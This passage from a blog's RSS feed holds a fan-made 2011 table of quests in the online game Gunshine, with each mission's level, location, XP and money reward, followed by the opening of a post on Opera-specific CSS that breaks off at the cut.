		<description><![CDATA[<a href="http://samuli.hakoniemi.net/quests-and-missions-in-gunshine-net/"><img src="/wp-content/images/gunshine/gunshine-550x225.png" alt="Gunshine.net" /></a>
<p>Gunshine is an online game created in Finland with roleplaying and social features. Although the game is currently running in beta, it already contains lots of features, tons of missions and plenty of enjoyment.</p>
<p>I'm going to gather all the quests I personally encounter and share it with other players, both newcomers and more advanced players. The intention is to collect all available quests into a simple table, which should help during gameplay. All extra help is appreciated, and you can provide listing of quests either by e-mail or commenting into this article.</p>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fquests-and-missions-in-gunshine-net%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fquests-and-missions-in-gunshine-net%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/gunshine/gunshine-550x225.png" alt="Gunshine.net" /></p>
<div class="ingress">
<p>Gunshine is an online game created in Finland with roleplaying and social features. Although the game is currently running in beta, it already contains lots of features, tons of missions and plenty of enjoyment.</p>
<p>I&#8217;m going to gather all the quests I personally encounter and share it with other players, both newcomers and more advanced players. The intention is to collect all available quests into a simple table, which should help during gameplay. All extra help is appreciated, and you can provide listing of quests either by e-mail or commenting into this article.</p>
</div>
<h2>Disclaimer</h2>
<p>The purpose of this article is to <strong>provide help</strong> for players who can&#8217;t find new missions to complete (which seems to be quite common case). This article is inofficial and doesn&#8217;t contain any strategic advices.</p>
<p>Notice that game is changing all the time since it&#8217;s in beta. There are new missions appearing while some of the older missions may disappear. Therefore this list can be outdated on some parts.</p>
<p>This article will constantly update when I receive new information of there is an update made on Gunshine itself.</p>
<p>Last update is made on <b>26th of May, 2011</b>.</p>
<p>A big thanks for following contributors:</p>
<ul>
<li>Nina (a3)</li>
</ul>
<h2>How to Read?</h2>
<ul>
<li><b>Name</b> &#8211; the mission name,</li>
<li><b>Level</b> &#8211; the level of enemies, or the area where mission is located,</li>
<li><b>Where to Get</b> &#8211; the area where mission can be get,</li>
<li><b>XP</b> &#8211; the experience gained after completing the mission,</li>
<li><b>Money</b> &#8211; the money gained after completing the mission.</li>
</ul>
<h2>Table of Quests / Missions on Dawnbreak City</h2>
<table class="tblGunshine">
<tr>
<th>Name</th>
<th>Level</th>
<th>Where to Get</th>
<th>XP</th>
<th>Money</th>
</tr>
<tr>
<td class="tdName">Welcome to the World of Tomorrow</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Through the Looking Glass</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Follow the Yellow Brick Road</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">11</td>
<td class="tdMoney">6</td>
</tr>
<tr>
<td class="tdName">Jailbreak Time</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Mercenaries Are Your Best Friend</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">The Great Escape</td>
<td class="tdLvl">1</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Keep On Running!</td>
<td class="tdLvl">2</td>
<td class="tdGet">Immigration Center</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">You&#8217;re Gonna Be Okay</td>
<td class="tdLvl">2</td>
<td>Wetlands</td>
<td class="tdXP">65</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">Meet Lemmy</td>
<td class="tdLvl">3</td>
<td class="tdGet">Wetlands</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Brutal Security</td>
<td class="tdLvl">3</td>
<td class="tdGet">Pipe square</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Police Truck</td>
<td class="tdLvl">3</td>
<td class="tdGet">Pipe square</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Zero Tolerance</td>
<td class="tdLvl">3</td>
<td class="tdGet">Pipe square</td>
<td class="tdXP">25</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Grim Gonzales (Group)</td>
<td class="tdLvl">3</td>
<td>Drug Farm</td>
<td class="tdXP">130</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Drug Bust</td>
<td class="tdLvl">4</td>
<td class="tdGet">Pipe square</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Gasoline Order</td>
<td class="tdLvl">4</td>
<td class="tdGet">Drug Farm</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Drugs, Up in Smoke</td>
<td class="tdLvl">4</td>
<td class="tdGet">Drug Farm</td>
<td class="tdXP">60</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Rebel, Rebel</td>
<td class="tdLvl">4</td>
<td class="tdGet">Drug Farm</td>
<td class="tdXP">12</td>
<td class="tdMoney">8</td>
</tr>
<tr>
<td class="tdName">Help Cyril</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">14</td>
<td class="tdMoney">14</td>
</tr>
<tr>
<td class="tdName">Credibility is Everything</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">13</td>
<td class="tdMoney">12</td>
</tr>
<tr>
<td class="tdName">Supplies Are Your Friend</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">13</td>
<td class="tdMoney">50</td>
</tr>
<tr>
<td class="tdName">Don&#8217;t Keep Him Waiting</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">13</td>
<td class="tdMoney">75</td>
</tr>
<tr>
<td class="tdName">Get To Da Choppa!</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">70</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">Repel the Raiders</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">70</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">A Friend in Need</td>
<td class="tdLvl">4</td>
<td class="tdGet">Rebel Camp</td>
<td class="tdXP">14</td>
<td class="tdMoney">14</td>
</tr>
<tr>
<td class="tdName">On the Waterfront, pt. 1</td>
<td class="tdLvl">4</td>
<td class="tdGet">Malloy Waterfront</td>
<td class="tdXP">65</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">On the Waterfront, pt. 2</td>
<td class="tdLvl">4</td>
<td class="tdGet">Malloy Waterfront</td>
<td class="tdXP">65</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">Fire, Water, Burn</td>
<td class="tdLvl">4</td>
<td class="tdGet">Malloy Waterfront</td>
<td class="tdXP">65</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">Big Yellow Taxi</td>
<td class="tdLvl">5</td>
<td class="tdGet">Malloy Waterfront</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Go Boy, Fetch!</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">A Life for Life</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">75</td>
<td class="tdMoney">54</td>
</tr>
<tr>
<td class="tdName">C&#8217;Mon, Hurry Up Already!</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Bang Up Job</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Playing it Safe</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Am I Bugging You?</td>
<td class="tdLvl">5</td>
<td class="tdGet">Southern Warehouse</td>
<td class="tdXP">65</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">Hone Your Skills</td>
<td class="tdLvl">5</td>
<td class="tdGet">Southern Warehouse</td>
<td class="tdXP">13</td>
<td class="tdMoney">12</td>
</tr>
<tr>
<td class="tdName">Just a Small Favor</td>
<td class="tdLvl">5</td>
<td class="tdGet">Southern Warehouse</td>
<td class="tdXP">70</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">Meet Kaylee</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Meet the Boss</td>
<td class="tdLvl">5</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">15</td>
<td class="tdMoney">18</td>
</tr>
<tr>
<td class="tdName">Bullet-Tooth (Group)</td>
<td class="tdLvl">5</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">140</td>
<td class="tdMoney">70</td>
</tr>
<tr>
<td class="tdName">Meet Mick</td>
<td class="tdLvl">5</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">13</td>
<td class="tdMoney">12</td>
</tr>
<tr>
<td class="tdName">Report to Holden</td>
<td class="tdLvl">5</td>
<td class="tdGet">Constr. Site West</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
</table>
<table class="tblGunshine">
<tr>
<th>Name</th>
<th>Level</th>
<th>Where to Get</th>
<th>XP</th>
<th>Money</th>
</tr>
<tr>
<td class="tdName">Meet Lloyd</td>
<td class="tdLvl">6</td>
<td class="tdGet">Drug Farm</td>
<td class="tdXP">15</td>
<td class="tdMoney">16</td>
</tr>
<tr>
<td class="tdName">My Go-to Girl</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">16</td>
<td class="tdMoney">20</td>
</tr>
<tr>
<td class="tdName">Escort Mech</td>
<td class="tdLvl">6</td>
<td class="tdGet">Novelle Forest</td>
<td class="tdXP">75</td>
<td class="tdMoney">48</td>
</tr>
<tr>
<td class="tdName">Winners Don&#8217;t Do W.U.Z.Z</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">70</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">A Damsel in Distress</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">70</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">Burning Down the House</td>
<td class="tdLvl">6</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">75</td>
<td class="tdMoney">54</td>
</tr>
<tr>
<td class="tdName">A Moment&#8217;s Respite</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">75</td>
<td class="tdMoney">54</td>
</tr>
<tr>
<td class="tdName">Manna From Heaven</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">75</td>
<td class="tdMoney">54</td>
</tr>
<tr>
<td class="tdName">Get Rid of the Rivals</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Saving Saffron</td>
<td class="tdLvl">6</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Where&#8217;s Wally?</td>
<td class="tdLvl">6</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">16</td>
<td class="tdMoney">20</td>
</tr>
<tr>
<td class="tdName">White Lies, Red Blood</td>
<td class="tdLvl">6</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">85</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">Confiscate This!</td>
<td class="tdLvl">6</td>
<td class="tdGet">Container Storage</td>
<td class="tdXP">85</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">Talk to Rupert</td>
<td class="tdLvl">7</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Hostile Takeover</td>
<td class="tdLvl">7</td>
<td class="tdGet">Constr. Site West</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">An Insidious Plan</td>
<td class="tdLvl">7</td>
<td class="tdGet">Constr. Site West</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Man the Machines</td>
<td class="tdLvl">7</td>
<td class="tdGet">Constr. Site West</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">A Dog as a Courier? &#8230;</td>
<td class="tdLvl">7</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">80</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Raiding the Drug Lab (Group)</td>
<td class="tdLvl">7</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">190</td>
<td class="tdMoney">150</td>
</tr>
<tr>
<td class="tdName">Meet Mal</td>
<td class="tdLvl">7</td>
<td class="tdGet">Container Storage</td>
<td class="tdXP">16</td>
<td class="tdMoney">20</td>
</tr>
<tr>
<td class="tdName">Drugs, Dogs and Depots</td>
<td class="tdLvl">7</td>
<td class="tdGet">Import Area</td>
<td class="tdXP">85</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">Blood and Fire</td>
<td class="tdLvl">7</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">85</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">The Tankinator (Group)</td>
<td class="tdLvl">8</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">170</td>
<td class="tdMoney">120</td>
</tr>
<tr>
<td class="tdName">I&#8217;m Afraid I Was Very &#8230; (Group)</td>
<td class="tdLvl">8</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">190</td>
<td class="tdMoney">150</td>
</tr>
<tr>
<td class="tdName">If You Have a Plan &#8230;</td>
<td class="tdLvl">8</td>
<td class="tdGet">Import Area</td>
<td class="tdXP">60</td>
<td class="tdMoney">50</td>
</tr>
<tr>
<td class="tdName">Be Prepared</td>
<td class="tdLvl">9</td>
<td class="tdGet">Pirate Bay</td>
<td class="tdXP">90</td>
<td class="tdMoney">78</td>
</tr>
<tr>
<td class="tdName">Whack-a-Mole</td>
<td class="tdLvl">10</td>
<td class="tdGet">Abyssos Eastern Entrance</td>
<td class="tdXP">95</td>
<td class="tdMoney">90</td>
</tr>
<tr>
<td class="tdName">Documents for Davey</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">19</td>
<td class="tdMoney">30</td>
</tr>
<tr>
<td class="tdName">Report to Davey</td>
<td class="tdLvl">10</td>
<td class="tdGet">Abyssos Eastern Entrance</td>
<td class="tdXP">19</td>
<td class="tdMoney">30</td>
</tr>
<tr>
<td class="tdName">Someone&#8217;s Treasure &#8230;</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">19</td>
<td class="tdMoney">30</td>
</tr>
<tr>
<td class="tdName">Pest Control</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">95</td>
<td class="tdMoney">90</td>
</tr>
<tr>
<td class="tdName">A Trojan Tractor</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">A Trojan Backfire</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Security Does Not Equal Safety</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">125</td>
<td class="tdMoney">144</td>
</tr>
<tr>
<td class="tdName">Gas Panic</td>
<td class="tdLvl">10</td>
<td class="tdGet">Abyssos Truck H.</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">The Soulless (Group)</td>
<td class="tdLvl">10</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">200</td>
<td class="tdMoney">160</td>
</tr>
<tr>
<td class="tdName">I&#8217;ll Never Tell</td>
<td class="tdLvl">10</td>
<td class="tdGet">Abyssos Field Office</td>
<td class="tdXP">85</td>
<td class="tdMoney">60</td>
</tr>
</table>
<table class="tblGunshine">
<tr>
<th>Name</th>
<th>Level</th>
<th>Where to Get</th>
<th>XP</th>
<th>Money</th>
</tr>
<tr>
<td class="tdName">Gun Trouble</td>
<td class="tdLvl">11</td>
<td class="tdGet">Abyssos Gas Refinery</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Gutting the Guards</td>
<td class="tdLvl">11</td>
<td class="tdGet">Abyssos Gas Refinery</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Blackout</td>
<td class="tdLvl">11</td>
<td class="tdGet">Abyssos Gas Refinery</td>
<td class="tdXP">105</td>
<td class="tdMoney">78</td>
</tr>
<tr>
<td class="tdName">Kick &#8216;Em When They&#8217;re Down</td>
<td class="tdLvl">11</td>
<td class="tdGet">Plainview Oil Ref.</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Insult to Injury</td>
<td class="tdLvl">11</td>
<td  class="tdGet">Plainview Oil Ref.</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">It IS Another Drill, Literally</td>
<td class="tdLvl">11</td>
<td  class="tdGet">Plainview Oil Ref.</td>
<td class="tdXP">90</td>
<td class="tdMoney">60</td>
</tr>
<tr>
<td class="tdName">Now That&#8217;s Just Mean!</td>
<td class="tdLvl">11</td>
<td  class="tdGet">Plainview Oil Ref.</td>
<td class="tdXP">100</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">You Are What You Eat</td>
<td class="tdLvl">11</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
<tr>
<td class="tdName">Reporting for Duty</td>
<td class="tdLvl">12</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">20</td>
<td class="tdMoney">32</td>
</tr>
<tr>
<td class="tdName">The Drill Stops Here</td>
<td class="tdLvl">13</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">Powerful Mischief</td>
<td class="tdLvl">13</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">Fat Dog (Group)</td>
<td class="tdLvl">13</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">220</td>
<td class="tdMoney">190</td>
</tr>
<tr>
<td class="tdName">Getting Our Boys Out</td>
<td class="tdLvl">13</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">Who in the What Now?</td>
<td class="tdLvl">13</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">Making a Stand</td>
<td class="tdLvl">13</td>
<td>Eastern Drilling Zone</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Leave No Man Behind</td>
<td class="tdLvl">14</td>
<td>Power Plant Entrance</td>
<td></td>
<td></td>
</tr>
<tr>
<td class="tdName">Two Lil&#8217; Hobos</td>
<td class="tdLvl">14</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">They Came From The Sewers</td>
<td class="tdLvl">14</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">105</td>
<td class="tdMoney">108</td>
</tr>
<tr>
<td class="tdName">Playing a Prank</td>
<td class="tdLvl">14</td>
<td>Abyssos Marketplace</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
<tr>
<td class="tdName">Labycollector</td>
<td class="tdLvl">14</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td class="tdName">Three Down, 100 to Go</td>
<td class="tdLvl">14</td>
<td class="tdGet">Panacea Health Station</td>
<td class="tdXP">100</td>
<td class="tdMoney">96</td>
</tr>
<tr>
<td class="tdName">Raid the Nuthouse</td>
<td class="tdLvl">14</td>
<td>Abyssos Truck H.</td>
<td class="tdXP">23</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class='tdName'>Paving the Way</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Ratched Lane</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Bulldozers Are Fragile Beings</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Ratched Lane</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Kill the Chief</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Ratched Lane</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Get Certified</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Ratched Lane</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Onward!</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Ratched Lane</td>
<td class='tdXP'>23</td>
<td class='tdMoney'>42</td>
</tr>
<tr>
<td class='tdName'>Clear Out All Hostiles</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Bromden Park</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Extra Guns, Extra Fun</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Bromden Park</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Kill the Alarms</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Bromden Park</td>
<td class='tdXP'>115</td>
<td class='tdMoney'>126</td>
</tr>
<tr>
<td class='tdName'>Asylum Awaits</td>
<td class='tdLvl'>14</td>
<td class='tdGet'>Bromden Park</td>
<td class='tdXP'>23</td>
<td class='tdMoney'>42</td>
</tr>
<tr>
<td class='tdName'>Clean Sweep</td>
<td class='tdLvl'>15</td>
<td class='tdGet'>McMurphy Asylum</td>
<td class='tdXP'>120</td>
<td class='tdMoney'>132</td>
</tr>
<tr>
<td class='tdName'>Inmate 6733</td>
<td class='tdLvl'>15</td>
<td class='tdGet'>McMurphy Asylum</td>
<td class='tdXP'>120</td>
<td class='tdMoney'>132</td>
</tr>
<tr>
<td class='tdName'>Papillon</td>
<td class='tdLvl'>15</td>
<td class='tdGet'>McMurphy Asylum</td>
<td class='tdXP'>120</td>
<td class='tdMoney'>132</td>
</tr>
<tr>
<td class='tdName'>Drugs Don&#8217;t Work (Group)</td>
<td class='tdLvl'>15</td>
<td class='tdGet'>McMurphy Asylum</td>
<td class='tdXP'>240</td>
<td class='tdMoney'>220</td>
</tr>
<tr>
<td class="tdName">Abyssos Did Indeed Gaze Back</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Offices</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
<tr>
<td class="tdName">Duke of All Kinds of Hazards</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Truck H.</td>
<td class="tdXP">24</td>
<td class="tdMoney">44</td>
</tr>
<tr>
<td class="tdName">For a Few Dollars More (Group)</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">240</td>
<td class="tdMoney">220</td>
</tr>
<tr>
<td class="tdName">Gaze Long Into Abyssos</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Offices</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
<tr>
<td class="tdName">I Am in Disguise</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">24</td>
<td class="tdMoney">44</td>
</tr>
<tr>
<td class="tdName">Peek Into Abyssos</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Offices</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
<tr>
<td class="tdName">Stop the Press</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">240</td>
<td class="tdMoney">220</td>
</tr>
<tr>
<td class="tdName">The Way of the Exploding Pig (Group)</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">240</td>
<td class="tdMoney">220</td>
</tr>
<tr>
<td class="tdName">There is Only Flesh</td>
<td class="tdLvl">15</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">120</td>
<td class="tdMoney">132</td>
</tr>
</table>
<table class="tblGunshine">
<tr>
<th>Name</th>
<th>Level</th>
<th>Where to Get</th>
<th>XP</th>
<th>Money</th>
</tr>
<tr>
<td class="tdName">Deal Breaker</td>
<td class="tdLvl">17</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">130</td>
<td class="tdMoney">150</td>
</tr>
<tr>
<td class="tdName">Oh, You Rascals!</td>
<td class="tdLvl">17</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">135</td>
<td class="tdMoney">162</td>
</tr>
<tr>
<td class="tdName">Bring it!</td>
<td class="tdLvl">18</td>
<td class="tdGet">Abyssos Marketplace</td>
<td class="tdXP">130</td>
<td class="tdMoney">150</td>
</tr>
</table>
<h2>Table of Quest / Missions on Islands</h2>
<table class="tblGunshine">
<tr>
<th>Name</th>
<th>Level</th>
<th>Where to Get</th>
<th>XP</th>
<th>Money</th>
</tr>
<tr>
<td class="tdName">Travel to Idas</td>
<td class="tdLvl">8</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">17</td>
<td class="tdMoney">24</td>
</tr>
<tr>
<td class="tdName">Travel to Argus</td>
<td class="tdLvl">10</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">19</td>
<td class="tdMoney">30</td>
</tr>
<tr>
<td class="tdName">Travel to Actor</td>
<td class="tdLvl">12</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">21</td>
<td class="tdMoney">36</td>
</tr>
<tr>
<td class="tdName">Travel to Castor</td>
<td class="tdLvl">14</td>
<td class="tdGet">Northern Warehouse</td>
<td class="tdXP">23</td>
<td class="tdMoney">42</td>
</tr>
<tr>
<td class="tdName">Island Idas Missions</td>
<td class="tdLvl">8</td>
<td class="tdGet">Idas Harbor</td>
<td class="tdXP">85</td>
<td class="tdMoney">72</td>
</tr>
<tr>
<td class="tdName">Island Argus Missions</td>
<td class="tdLvl">10</td>
<td class="tdGet">Argus Harbor Square</td>
<td class="tdXP">95</td>
<td class="tdMoney">90</td>
</tr>
<tr>
<td class="tdName">Island Castor Missions</td>
<td class="tdLvl">14</td>
<td class="tdGet">Castor Harbor Square</td>
<td class="tdXP">115</td>
<td class="tdMoney">126</td>
</tr>
<tr>
<td class="tdName">Island Medea Missions</td>
<td class="tdLvl">16</td>
<td class="tdGet">Medea Harbor Square</td>
<td class="tdXP">125</td>
<td class="tdMoney">144</td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/quests-and-missions-in-gunshine-net/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How to Target CSS Only for Opera</title>
		<link>http://samuli.hakoniemi.net/how-to-target-css-only-for-opera/</link>
		<comments>http://samuli.hakoniemi.net/how-to-target-css-only-for-opera/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 14:17:14 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[opera]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=613</guid>
		<description><![CDATA[<a href="how-to-target-css-only-for-opera/"><img src="/wp-content/images/opera/operaForBlog.png" alt="" /></a>
Sometimes there is need to write browser-specific CSS declarations. Although every developer should put their best effort on creating structure and layout that doesn't require any proprietary hacks, one may encounter situations where it's impossible to proceed by the book.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
